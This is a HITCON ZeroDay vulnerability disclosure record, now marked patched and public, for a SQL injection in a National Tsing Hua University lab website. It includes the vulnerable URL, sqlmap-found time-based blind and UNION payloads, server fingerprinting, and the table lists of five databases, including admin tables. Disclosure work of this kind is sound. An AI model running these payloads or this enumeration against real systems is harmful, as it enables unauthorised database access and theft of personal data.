国立清华大学SQL#root权限 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2018-00330
  •  發信 Vendor: 國立清華大學
  • Title: 国立清华大学SQL#root权限
  • Introduction: 国立清华大学电机系 通讯科学实验室SQL

處理狀態

目前狀態

公開
Last Update : 2018/05/31
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2018/03/31 22:22:27 : 新提交 (由 Cra5h 更新此狀態)
  • 2018/04/01 00:00:33 : 新提交 (由 Cra5h 更新此狀態)
  • 2018/04/01 00:33:21 : 新提交 (由 Cra5h 更新此狀態)
  • 2018/04/01 00:33:22 : 新提交 (由 Cra5h 更新此狀態)
  • 2018/04/01 15:38:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/04/02 11:53:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/04/02 11:53:49 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/05/24 09:39:08 : 已修補 (由 組織帳號 更新此狀態)
  • 2018/05/31 03:00:19 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2018-00330
  • 通報者:cra5h (Cra5h)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://csrl.ee.nthu.edu.tw/show.php?news_id=39

敘述

国立清华大学电机系 科学实验室root权限注入
注入位置:
http://csrl.ee.nthu.edu.tw/show.php?news_id=39

news_id参数过滤不严,导致SQL注入产生
GET parameter 'news_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:

Parameter: news_id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: news_id=39 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: news_id=-2912 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b706271,0x6541564978674b695576764b4157747447554b4958464c7271754e774c6e434b5676446766686f66,0x7170766b71)-- IVQR

[20:16:47] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.13
back-end DBMS: MySQL >= 5.0.12
[20:16:47] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\csrl.ee.nthu.edu.tw'

影响五个库
圖片
Database: newboard
[2 tables]
+---------------------------------------+
| newadmin |
| newdata |
+---------------------------------------+

Database: mysql
[17 tables]
+---------------------------------------+
| user |
| columns_priv |
| db |
| func |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| proc |
| procs_priv |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+---------------------------------------+

Database: information_schema
[17 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+

Database: facility
[2 tables]
+---------------------------------------+
| facility_admin |
| facility_data |
+---------------------------------------+

最多处存在809条数据

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;